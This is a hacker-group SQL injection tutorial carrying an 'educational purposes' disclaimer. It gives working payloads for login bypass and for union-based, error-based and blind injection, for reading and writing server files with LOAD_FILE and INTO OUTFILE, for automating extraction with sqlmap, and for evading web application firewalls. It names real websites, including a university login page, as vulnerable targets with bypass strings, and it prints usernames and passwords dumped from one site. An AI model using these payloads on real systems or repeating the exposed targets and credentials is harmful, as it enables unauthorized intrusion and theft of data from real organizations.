This is for educational purposes so that you can get additional knowledge of how attackers compromise systems to better protect your sensitive data.
_ ____ ____ ____ ____ ____ ____ _____ ____ ____ ____ _____ ____ ____ _
/ \ /|/ _ \/ __\/ _ \/ _\/ _ \/ __\/ __/ / __\/ _ \/ __\/ __// __\ / _ \/ \ /|
| |_||| / \|| \/|| | \|| / | / \|| \/|| \ | \/|| / \|| \/|| \ | \/| | / \|| |\ ||
| | ||| |-||| /| |_/|| \_ | \_/|| /| /_ | __/| |-||| __/| /_ | / | \_/|| | \||
\_/ \|\_/ \|\_/\_\\____/\____/\____/\_/\_\\____\ \_/ \_/ \|\_/ \____\\_/\_\ \____/\_/ \|
_____ _______ _____
/\ \ /::\ \ /\ \
/::\ \ /::::\ \ /::\____\
/::::\ \ /::::::\ \ /:::/ /
/::::::\ \ /::::::::\ \ /:::/ /
/:::/\:::\ \ /:::/~~\:::\ \ /:::/ /
/:::/__\:::\ \ /:::/ \:::\ \ /:::/ /
\:::\ \:::\ \ /:::/ / \:::\ \ /:::/ /
___\:::\ \:::\ \ /:::/____/ \:::\____\ /:::/ /
/\ \:::\ \:::\ \ |:::| | |:::| | /:::/ /
/::\ \:::\ \:::\____\|:::|____| |:::|____|/:::/____/
\:::\ \:::\ \::/ / \:::\ _\___/:::/ / \:::\ \
\:::\ \:::\ \/____/ \:::\ |::| /:::/ / \:::\ \
\:::\ \:::\ \ \:::\|::|/:::/ / \:::\ \
\:::\ \:::\____\ \::::::::::/ / \:::\ \
\:::\ /:::/ / \::::::::/ / \:::\ \
\:::\/:::/ / \::::::/ / \:::\ \
\::::::/ / \::::/____/ \:::\ \
\::::/ / |::| | \:::\____\
\::/ / |::|____| \::/ /
\/____/ ~~ \/____/
_ _ _ _____ ____ _____ _ ____ _
/ \/ \ /| / |/ __// _\/__ __\/ \/ _ \/ \ /|
| || |\ || | || \ | / / \ | || / \|| |\ ||
| || | \||/\_| || /_ | \_ | | | || \_/|| | \||
\_/\_/ \|\____/\____\\____/ \_/ \_/\____/\_/ \|
roOt @ D1617 64:~ code in my blood, revolution in my heart, smokes make me angry to Fire code on your corrupted system.
Greetz Going to :- CODED32, cOde, 7h3 Cr3atOr, Phoenix 64, Ap3x ICP, Unnon Antilog, Cookies PawnEr, Xception code, $h3llqu4k3,H4cko,Alfred Payne,Anish,Tapan,Ankit,Th3 D3stroy3r,Pr4th4m,Yash,Rohit,Trid3nt,T|RA,
TOF,ICP,IndiHex,TDA And all Freedom Fighter.
**************************************************************************************************************
Dedicated To : The Revolutionary Army , Team Openfire , Indian Cyber Police and IndiHex.
Here I ll write many type of sql injection, How Sql works in back ground and everything which you Need To know .
before go to main paper we need some basics like what is sql and about all queries
what is SQL?
Ans: SQL (pronounced "ess-que-el") stands for Structured Query Language. SQL is used to communicate with a database. According to ANSI (American National Standards Institute), it is the standard language for relational database management systems. SQL statements are used to perform tasks such as update data on a database, or retrieve data from a database. Some common relational database management systems that use SQL are: Oracle, Sybase, Microsoft SQL Server, Access, Ingres, etc. Although most database systems use SQL, most of them also have their own additional proprietary extensions that are usually only used on their system. However, the standard SQL commands such as "Select", "Insert", "Update", "Delete", "Create", and "Drop" can be used to accomplish almost everything that one needs to do with a database. This tutorial will provide you with the instruction on the basics of each of these commands as well as allow you to put them to practice using the SQL Interpreter.
and what is SQL Injection?
Ans:from wikipedia i have got a nice Answer :-)
SQL injection is a technique often used to attack databases through a website. This is done by including portions of SQL statements in a web form entry field in an attempt to get the website to pass a newly formed rogue SQL command to the database (e.g. dump the database contents to the attacker). SQL injection is a code injection technique that exploits a security vulnerability in a website's software. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
if I write all Methods of Sql injection Before discussed about How sql injection works then you may be in some problem .
okk I will start Firing from very small exploit (ADmin Login Bypassing)
when we login in a login page basically there are two types of field 1. username 2. Password
if we know the username and password then we can acess otherwise not .let we know the username and password
Username = Admin
Password = D1617 64
then the Query would become
select * From users where username='Admin' and Password='D1617 64' /* here users is a table where all username and password is store */
/* " * " means all column */
now if i dont knw the password first of all we start fire with bypass string
Bypass String is = anything'or'1'='1 /* it have to put in password field */
I have posted some affected website
.california state university
adminpanel link www.calstate.edu/libcomctr/login.asp
------------------credentials--------------------
username :admin
password :lulz'or'1'='1
.fbservers.biz
adminpanel link :http://fbservers.biz/Admin_Login.aspx
-----------------credentials--------------------
user name :admin
password :lulz'or'1'='1
PPClucknow
adminpanel link :http://ppclucknow.org/admin.aspx
----------------credentials-------------------
user name :admin
password :lulz'or'1'='1
******* Now the first question come in our mind How this Bypass works .
when we hit enter then the query would become like this
select * From users where username ='admin' and password ='lulz'or'1'='1'
actuall what happened here ?
The statement will chek username =admin it's true
now it wll chek password =lulz which is wrong but we user logigal or operator . it will work like
"If password == lulz OR password = true"
1=1 always true and you will get access DB.
//////////////////////////////////////////////////////////////////////////////////////////////////////////
Feeling bored? lulz real fire starting Now so never take havij try always manually otherwise get busted
**** Types OF sql injection
there are many Type Of sql Injection But i ll post Some famous and which are working ..
*****************************////UNION BASED Or DATA extracting Types Sql injection/////*******************
website name:http://www.evt-me.com
vulns page:http://www.evt-me.com/newsDetail.php?id=1'
now finding num of exist columns
http://www.evt-me.com/newsDetail.php?id=1+order+by+8-- (in 8 we have got error so there
are 7 column exist)
now finding vulns column
http://www.evt-me.com/newsDetail.php?id=-1+union+select+all+1,2,3,4,5,6,7-- (we have seen
"2" columns is most bolded so this columns is vulns)
now we finding data base:
just you have to replace 2 with database()
http://www.evt-me.com/newsDetail.php?id=-1+union+select+all+1,database(),3,4,5,6,7--
we have seen the database name is "evt_evt"
now we ll use group_concat function to see all data base in this site..
in this website only one data base exist
now we finding the version of mysql... for this we have to replace @@version with "2"
http://www.evt-me.com/newsDetail.php?id=-1+union+select+all+1,@@version,3,4,5,6,7--
we are lucky that data base version above 5.0 so we ll continue
database version is 5.0.95-community
now we finding table name:
http://www.evt-me.com/newsDetail.php?id=-1+union+select+all+1,table_name,3,4,5,6,7+from
+information_schema.tables+where+table_schema=database()--
you can see table name
for all tables you have to use group_concat() function..
http://www.evt-me.com/newsDetail.php?id=-1+union+select+all+1,group_concat
(table_name),3,4,5,6,7+from+information_schema.tables+where+table_schema=database()--
all tables
are:advertise,categories,categories1,country,download,latest,login,login_secured,mails,myor
der,news,products,users
now i guess the "users" table has all information like user name and password okk lets try
now finding all columns name:
for cloumn you have to just replace table with column in two place 1:table_name with
column_name 2:schema.tables with schema.columns
http://www.evt-me.com/newsDetail.php?id=-1+union+select+all+1,group_concat
(column_name),3,4,5,6,7+from+information_schema.columns+where
+table_schema=database()--
all columns
are:id,photo,url,place,view_num,click_num,pubdate,lang,type,id,name,scat,count,id,name,sc
at,count,id,country_ar,country_en,count,id,cat,title,detail,title_en,detail_en,file,count,size,id,ti
tle_en,body_en,title_gr,body_gr,date,active,id,pass,username,position,fullname,id,pass,usern
ame,position,fullname,id,mail,status,id,product_id,user_id,quant
see two column :pass,username (we have got the username and password column)
now find out username and password:
i have guess the data username and password exist in users table .. if not then i ll try others
table one by one ..okk
http://www.evt-me.com/newsDetail.php?id=-1+union+select+all+1,group_concat
(username,0x3a,pass),3,4,5,6,7+from+users--
now see i have got all username and passwrd
alzaeem:ZYZoOoOoOoKSA2012,admin:,hacked:hacker,lipaz6:,damdam:refael
***************************///ODBC Error Based or MS AccEss BAsed Sql injection///*************************
MS Access is commonly thought of as the little brother of Database engines, and not a lot of material has been published about methods used for exploiting it during a penetration test.MS Jet is often mistakenly thought of as being another name for MS Access, when in fact it is a database engine that is shipped as part of the Windows OS. MS Jet was however the core database engine used by MS Access up to version 2007. Since version 2007, MS Access has included a separate updated engine known as Access Connectivity Engine. Although MS Jet is not as complex as more advanced databases such as SQL server or Oracle, it is still commonly used by smaller web sites that want quick and easy database storage.
Default Tables Used In Access
Note: Those table name having * infront of their name, means it can be use in query.
Access 97
MSysAccessObjects *
MSysACEs
MSysModules
MSysModules2 *
MSysObjects
MSysQueries
MSysRelationship
Access 2000
MSysAccessObjects *
MSysAccessXML *
MSysACEs
MSysObjects
MSysQueries
MSysRelationships
Access 2002-2003
MSysAccessStorage *
MSysAccessXML *
MSysACEs
MSysObjects
MSysQueries
MSysRelationships
Access 2007
MSysAccessStorage *
MSysACEs
MSysComplexColumns
MSysComplexType_Attachment
MSysComplexType_Decimal
MSysComplexType_GUID
MSysComplexType_IEEEDouble
MSysComplexType_IEEESingle
MSysComplexType_Long
MSysComplexType_Short
MSysComplexType_Text
MSysComplexType_UnsignedByte
MSysNavPaneGroupCategories *
MSysNavPaneGroups *
MSysNavPaneGroupToObjects *
MSysNavPaneObjectIDs *
SysObjects
MSysQueries
MSysRelationships
As we can see each version having some new default tables and each of them work differently .But ms access injection is real pain Confused it does not contails schema , when we say schema that's mean we have to guess each table and column . Access also does not support.ERROR BASED INJECTION nor having global veriable like @@version . So we can guess the version by default table Smile .
Column Enumeration and Union [b]
We will use the # for commenting the rest of the query instead of -- or /* .
[b]Step-1
Code:
http://website.com/members.asp?id=103
Above site is vuln to sql injection let's see what error we get ?
http://website.com/members.asp?id=103'
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'DISTRICTNUMBER = 103''.
/members.asp, line 16
Step-2
Using order by to get columns.
Code:
http://website.com/members.asp?id=103 order by 1#
even
http://www.website.com/index.php?id=58 order by 200--
If u face this problem than the string based bypass will work..
Add this ' after the value or number like (id=58') and add (+) in the last (--+) so the url will be
http://www.website.com/gallery.php?id=58' order by 5--+
intead of using 200 u will get error on 5(or whatever)so u knw the columns.
********************////////////MySql injection (load into injection) /////////////*************************
MySQL Injection - Simple Load File and Into OutFile
===
Ok, let's see now what are Load File and Into OutFile.
-- What are Load File and Into OutFile?
That are syntaxes (used in MySQL Injections).
Load File: Reads the file and returns the file contents as a string.
Into OutFile: Writes the selected rows to a file. The file is created on the server host, so you must have the file privilege to use this syntax. File to be written cannot be an existing file, which among other things prevents files (such as "/etc/passwd") and database tables from being destroyed.
(... from: MySQL.com)
Ok, let's begin now!
-
[ Part 2 - Access to "mysql.user" table and file privileges ]
If you are using MySQL Injection method (to hack sites), and before you find target table (and columns),
check, if you have access to "mysql.user" table.
And you must replace in URL one visible column (i.e. number, that is shown, on page), with (string) "user", to see user name.
Let's see our example:
http://vulnsite.com/index.php?id=-1+unio...sql.user--
In our example, column (number) 2 can be seen on our vulnerable page.
If page returns user name, in place where is that visible column (shown) on site, that's good - you have access (to "mysql.user" table), and you can continue to read this tutorial. Don't forget to remember user name that you have seen!
In our example that happens (we have access to "mysql.user" table), and we can continue to check now if we have file privileges.
You must now replace in URL: "user", with (string) "group_concat(user,0x3a,file_priv)",
to check, if you have file privileges on (your) vulnerable site.
Here is our example:
http://vulnsite.com/index.php?id=-1+unio...sql.user--
Now on place, where is that (visible) column shown (i.e. replaced), it lists users and file privileges (in format: User name:File privileges, ...), and you must find user name that you have seen before, and when you find that user name, look on right side (near that user name), and if it writes "Y" (that means Yes), you have file privileges (and you can continue to read this tutorial), otherwise, if it writes "N" (that means No), you haven't file privileges.
In our example we have file privileges (of course) - "... ,ouruser:Y, ...".
Let's go now to the next part.
-
[ Part 3 - Using Load File syntax ]
Load File is useful when you want to read some (configuration) files (it's like LFI - Local File Inclusion), ex. "/etc/passwd", "/etc/shadow", etc.
Syntax is: load_file('FILE')
Here is our example - if we want to read "/etc/passwd" file:
http://vulnsite.com/index.php?id=-1+unio...sql.user--
In place where is column (number) 2, it will show (source of) "/etc/passwd" file (on page).
Note 1: "../" - means move to directory back.
Note 2: If it shows error (when you try to read some file) - it has magic quotes enabled (it add slashes before and after "'" symbols), and you have to (avoid that and) convert file name (i.e. text/string), to Hex or Char (and then remove "'" symbols):
For Hex - Always put "0x" (text) before hex string (without any spaces), and that (final) string must not contain (any) spaces(!) ; ex. (Load File - "/etc/passwd":) load_file(0x2f6574632f706173737764)
For Char - Usage: char(NUMBERS,NUMBERS,NUMBERS...) ; If you convert string (i.e. text) to Char, and if converted text (to Char) contain spaces (between numbers), you must replace all that spaces with commas(!) ; ex. (Load File - "/etc/passwd":) load_file(char(47,101,116,99,47,112,97,115,115,119,100))
BTW. Here is one translator, i.e. text to Hex and (text to) Char converter: http://home2.paulschou.net/tools/xlate/
That's all for Load File syntax.
-
[ Part 4 - Using Into OutFile syntax ]
Into OutFile is useful when you want to write/make some file (on your vulnerable site/server), ex. make (simple PHP) file, that is vulnerable on RFI (Remote File Inclusion), and then exploit that hole...
Syntax is: INTO OUTFILE 'FILE'
Note 1: That syntax must be always on end (it's like table)! Ex. ...+INTO+OUTFILE+'/FILE'--
To write (your) text in (your) file (on vulnerable site/server), replace in URL one visible column (i.e. number, that is shown, on page), with (your) text (to be written, in your file), in quotes...
Let's see our example - we want to write text "testing" in file "test.txt" (on our vulnerable site/server), in site directory:
http://vulnsite.com/index.php?id=-1+union+all+select+1,"testing",3,4+INTO+OUTFILE+'/home/vulnsite/www/test.txt'--
Note 2:
If you have two or more visible columns (i.e. numbers, that are shown, on your vulnerable page), you have to replace that columns (i.e. numbers, in URL), with word "null"(!) (If you don't replace, that numbers will be written together with your text in your file, on vulnerable site/server.)
In our example, visible columns are - 2 and 3 (and we must do replacing):
http://vulnsite.com/index.php?id=-1+union+all+select+1,"testing",null,4+INTO+OUTFILE+'/home/vulnsite/www/test.txt'--
And then, if page loads normally (without any errors), we have successfully made our file (on our vulnerable site/server), and location of our file (on our vulnerable site/server), will be: http://vulnsite.com/test.txt
Note 3: If you want to use in (your) text (to be written, in your file) Return/Enter button, just (type your text somewhere - in converter/translator, and) convert it to Hex or Char...
Note 4: You must write (i.e. make all your files) into site path, otherwise, Into OutFile syntax won't work.
Note 5: If it shows blank (i.e. error, on page), where should be located (your) text (to be written, in your file) - it has magic quotes enabled (it add slashes before and after "'" symbols), and you have to (avoid that and) convert text (i.e. string), to Hex or Char (and then remove "'" symbols) - see above explanation (and link to converter), in (end of) part 3...
Warning: Don't convert (your) file name into Hex or Char, otherwise, it won't work (that's only for Into OutFile syntax)! And, if (your) vulnerable site have magic quotes (feature) enabled, Into OutFile syntax will not work.
That's all for Into OutFile syntax.
-
[ Part 5 - End ]
That's all about that syntaxes, used in MySQL Injections (with access to "mysql.user" table, of course)...
///////////////////////////////// *** Double Query Error Based **** //////////////////////////////////
www.vulnsite.com/index.php?id=-12 union select 1,2,3,4--
but when you press enter it gives error :-0
the error is
Code:
(select statement have different numbers of column)
so now what????? Angry
don't be so confused its time for using double query Sql injection
so your command will look like this:-
Code:
www.site.com/index.php?id=-12+and+(select+1+from(select count(*),concat((select+concat(version())+from+information_schema.tables+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)
and result will look like this
Code:
"Duplicate entry '5.0.92-community-log1' for key 1"
so here '5.0.92-community-log1' is sites version.
now we have to find sites current_user so our command will be:-
Code:
www.site.com/index.php?id=-12+and+(select+1+from(select count(*),concat((select+concat(current_user())+from+information_schema.tables+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)
result
Code:
"Duplicate entry user+1' for key 1"
ok now we will find tables by this command :-
Code:
www.site.com/index.php?id=-12+and+(select+1+from(select count(*),concat((select+concat(table_name)+from+information_schema.tables+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)
result should be
Code:
"duplicate entry 'table_name1' for key 1'
now keep increasing the limit you can find it near
Code:
((table_name)+from+information_schema.tables+limit+0,1) )
here change the limit '0,1'to 1,1 then 2,1 until you get the error.
ok now we will find tables which contains the data so our command will be:-
Code:
www.site.com/index.php?id=-12+and+(select+1+from(select count(*),concat((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)
result
Code:
"duplicate entry tablename1' for key 1"
so here again increase the limits value until you get the table like user,,admin,,login etc etc.. Tongue
ok now suppose we have table name "user" so next step is to find columns of this table our command will be:-
Code:
www.site.com/index.php?id=-12+and+(select+1+from(select count(*),concat((select+concat(column_name)+from+information_schema.columns+where+table_name=
+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)
result
Code:
"Duplicate entry 'column name1' for key 1'
you can change text to hex here>> http://www.swingnote.com/tools/texttohex.php
again keep changing limits value untill you get columns like username,password etc :/
ok now we have columns username and password we need the data inside the columns so our command will be:-
Code:
www.site.com/index.php?id=-12+and+(select+1+from(select count(*),concat((select+concat(username,0x3a,password)+from+user+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)
result
Code:
"Duplicate entry 'Admin:452875204827e1f25994a3da414587125' for key 1"
crack the hashes and get access lulz
///////////////////////////////******* Blind Sql injection ******** /////////////////////////////////////
i haven't written a sql tut in awhile so ill add a blind injection tutorial for mysql, the same idea will work in ms-sql with similar commands. Blind injection is a little more complicated/time consuming, but when your injection is multi-select and union isn't possible this is your next best bet. I will go over how to pull version, how to guess table and column names, and finally how to actually pull column data out of the database.
Do not try to use a comment (ie: --, or /*) when doing blind injection, its not needed and may makes things worse. There are automating tools for blind injections, I like knowing how blind attacks work so i can do things by hand when needed. I personally use a combination of doing blind injections by hand and by using automating tools to pull the actual content from a column. Pulling data from mysql using blind attack is slow, even when using automating tools, but when no other option is available its still a useful method for sites you really want Wink
I will be using an example url http://site.com/news.php?id=12
when we visit the url we see a news article with a title of and the article content. We test the injection is subject to a blind attack by going to
news.php?id=12 and 1=1
we should see the same url and contents, then try going to
news.php?id=12 and 1=2
on a successful injection you will see content missing, could be as obvious as the title/article missing or as obscure as maybe the number of pages of the article disappearing. You may have to hit back and forward on your browser to look for differences. If our injection was on a string variable instead of doing news.php?id=12 and 1=1 / news.php?id=12 and 1=2 we would be doing news.php?id=12' and 1='1 / news.php?id=12' and 1='2 this is to keep the syntax error less.
For our example lets say just say the title/content of the article disappears when we did 1=2 but was still there when we did 1=1. we can see our input is affecting the mysql returned data. no data is going to match 1=2 so nothing is returned, when the statement is true the content normally being returned from the rest of the sql statement gets returned. So we now string together questions in true/false methods and when the content is displayed on the page we know the question was true, and when its not its false. I will refer to 'page loading normally' as the content is being returned from the mysql database and the statement is TRUE.
--Getting mysql @@VERSION--
The first question i usually ask is for the version number of mysql, it helps knowing what commands are available as different mysql have different options available.
news.php?id=12 and substring(@@version,1,1)=4
what i did here was get the first character of @@version and compare it to =4, if its TRUE statement we should see the news article otherwise the page will be missing content as like we did 1=2. The page is missing content so i change the 4 to a 5 and try again, this time the page loads normally with the content there so we know were dealing with Mysql5. if 4 and 5 don't work, try 3. If its mysql3 its nearly impossible to get any data out since subselects and union isn't possible making these further commands useless.
--Check if we have access to mysql.user--
Next i just want to test subselects, sometimes the word "select" is blacklisted.
news.php?id=12 and (select 1)=1
if subselects work you should see the page load normally. Next i want to see if we are an elevated user that has access to mysql.user.
news.php?id=12 and (SELECT 1 from mysql.user limit 0,1)=1
If we have access to mysql.user the query will return 1, if we dont it will error and not return anything. So if the page loads normally here we have access to mysql.user and may be useful to pull mysql hashes later on or try using load_file() and OUTFILE. Also note i used 'limit 0,1', subselects can only return 1 row of data or they will error and fail so don't forget it.
--Checking for valid tables--
In our example we have mysql5, but pulling data from information_schema is slow in a blind attack so might want to just try guessing a few tables. Or you may be using mysql4 and be required to guess tables/column to get any further.
news.php?id=12 and (SELECT 1 from users limit 0,1)=1
I tried guessing for table users, if there is a table called users it will load normally. Just change the table to guess table names.
--Checking for column names within a found table--
If you got lucky and guessed some good table names we now can try guessing some columns within those tables. users table has already been found using the above method, dont skip to this step unless you found your tables already.
news.php?id=12 and (SELECT substring(concat(1,password),1,1) from users limit 0,1)=1
What i did here was merge '1' with the column password, then using substring cut it back down to just the first character which should be 1 if the column password exists. Change the column password to others to try to guess other column names.
--Pulling data from found table/columns--
Ok this is the actual part of pulling data from those tables and this is were it becomes time consuming, I use automating tools on this part but knowing how to do it by hand makes you a better sql'er =) I'm going to pull username,password column from the table users. I already found username,password,email,userid to be valid columns within the table using the above method.
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
ok what i did here was first pull the username/password i want using a where clause, otherwise you could do limit 0,1 to pull the first user out, subselects are limited to 1 row if your subselect will return more then 1 row it will error and this will fail. So its not a bad idea to stick limit 0,1 at the end if your not sure how many rows are going to be returned. then outside of my subselect i have substring(,1,1) this trims my subselect down to just the first character, 1 character in length. Then the ascii() converts that 1 character to an ascii numeric value where i compare it using the greater then symbol > 100.
So in the above example, if the ascii char was greater then 100 the page will load normally. In our case the page doesn't load with the content so we know the first char is less then 100, we guess again.
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>80
page loads normally with >80, true. We go higher.
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>90
false, lower
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>85
true, higher
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>86
false. We now narrowed it down to be greater then 85 but not greater then 86. So we know our number is 86! You can test by doing =86 if you want to be sure, it may be confusing at first. Using an ascii converter we knows char(86) is 'V', so the first letter of our returned row is 'V', exciting lol. To get the next character we modify the substring.
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>100
I changed the substring ,1,1 to a ,2,1. now it returns the 2nd character of the subselect, 1 character in length. we do the same thing again as the first char. This time >100 returned true so we raise the number.
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>120
false, lower the 120
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>110
false, lower
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>105
false,lower
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>103
true, higher
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>104
true, we see that its greater then 104 and NOT greater then 105 making the number we want 105. char(105) is 'i'. So we have 'Vi' so far. As you can see we did 11 requests and only got 2 characters from the database, i actually guessed the number pretty fast it may take a lot more to narrow it down. See how pulling user/password hash can be time consuming. Keep incrementing the substring until you get to the end where >0 will return false.
--Automating the pulling of data--
I use sqlmap .4, .5 has a few bugs and doesnt always work correctly for me. There are other tools made for blind injection as well. To pull the same username and password in sqlmap you use this command.
./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(username,0x3a,password) from users where userid=2)"
-u is the url your going to inject, -p is the peramiter that is injectable, id. -a will pull a random user-agent from a text otherwise itll use the default sqlmap user-agent, not a good idea. -v1 is verbose. --string is the unique string that appears when the command is TRUE, you find this by doing 1=1 and 1=2 and pasting a small bit of text that only shows when its TRUE. -e is the command you want to evaluate, we want to do a subselect so be sure to add ( ) around your SELECT statement.
Doing the above sqlmap command may take 5mins or so to finesh, but beats 30mins or so it would take to do by hand. sqlmap can also get tables/columns if your accessing mysql5, but do you really need the complete table structer. Use -e to do your own commands to only get tables/columns of interest.
./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(table_schema,0x3a,table_name,0x3a,column_name) from information_schema.columns where column_name like 0x257061737325 limit 0,1)"
sqlmap doesn't like handing quotes even if your injection has magicquotes off, so hex. 0x257061737325 is '%pass%' hexed. Now we just run this and increment our limit to get next rows. much faster then using sqlmap to get ALL tables and then trying to figure what tables have what we may be looking for 0.
************************* WAF ( Web Application Flter ) Bypassing Sql injection***************************
-A web application firewall (WAF) is an appliance,server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
Some website are using WAF filter.
If u found a vuln sites that have waf and u try to inject a Union based query and its Show's Not Acceptable, 403 forbidden or Web Application FIrewall ALERT..That means the query or syntax that u inject is Filter or Blocked by WAF.
Ok now here's some method to Bypass WAF filters.
1)Comments:
SQL comments are a blessing to us SQL injectors. They allow us to bypass a lot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:
//, ? , /**/, #, ?+, ? -, ;
2)Case Changing:
Some WAF?s will filter only lowercase attacks As we can see we can easily evade this by case changing:
Possible Regex filter:
/union\sselect/g
id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)
3)Inline Comments:
Some WAF?s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:
id=1/*!UnIoN*/SeLeCT
Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, let?s pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()? -
The above code would bypass the filter. Notice we can use ?like? instead of ?=?
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()? -
The above code should bypass the Union+select filters even where common inline comments didn?t work itself
4)Buffer Overflow:/Unexpected input:
A lot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it?s job correctly, but when given a large amount of Data allows the malicious request and response.
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A?s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),use r(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26
,27,28,29,30,31,32,33,34,35,36?+
This bypass above works. I myself just used this against a Web site recently.
5)Replaced keywords(preg_replace and/or WAF?s with the same action
Sometimes and application will remove all of a keyword. For instance, let?s say we have a filter that replaces union select with whitespace. We could bypass that filter like so:
id=1+UNIunionON+SeLselectECT+1,2,3?
As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:
UNION+SELECT+1,2,3?
6)Character encoding:
Most WAF?s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.
Examples of double encoding:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users?+
///////////////////////////////////////*** MySql Cheet Sheet ****/////////////////////////////////////////
mysql cheat sheet
Version:
SELECT VERSION()
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os
Directories:
SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir
Users:
SELECT USER()
SELECT SYSTEM_USER()
SELECT SESSION_USER()
SELECT CURRENT_USER()
Current Database:
SELECT DATABASE()
Concatenation:
SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Returns: Hello MySQL and hello world!
Multi-Concat:
#Stacks the row "foo" from the table "bar" together, using the separator "
".
#Note: This operation can by default only grab 1024 bytes, and do not allow LIMIT.
#The 1024 byte limit is stored in the @@group_concat_max_len variable.
SELECT GROUP_CONCAT(foo SEPARATOR '
') FROM bar
Better-Concat:
#CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROUP_CONCAT().
#Which therefor allows you to concat strings together up to the @@max_allowed_packet size,
#instead of @@group_concat_max_len. The default value for @@max_allowed_packet is currently set to
#1048576 bytes, instead of @@group_concat_max_len's 1024.
SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 0,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 1,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 2,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 3,1),(SELECT CONCAT_WS(0x2E,table_schema,table_name,column_name) FROM information_schema.columns LIMIT 4,1)))
Change Collation:
SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from any other collation.
SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.
Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) starting with "test".
SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) ending with "test".
Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'
SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar
Counting Columns:
SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from the table "bar".
Get Amount of MySQL Users:
SELECT COUNT(user) FROM mysql.user
Get MySQL Users:
SELECT user FROM mysql.user
Get MySQL User Privileges:
SELECT grantee,privilege_type,is_grantable FROM information_schema.user_privileges
Get MySQL User Privileges on Different Databases:
SELECT grantee,table_schema,privilege_type FROM information_schema.schema_privileges
Get MySQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges
Get MySQL User Credentials & Privileges:
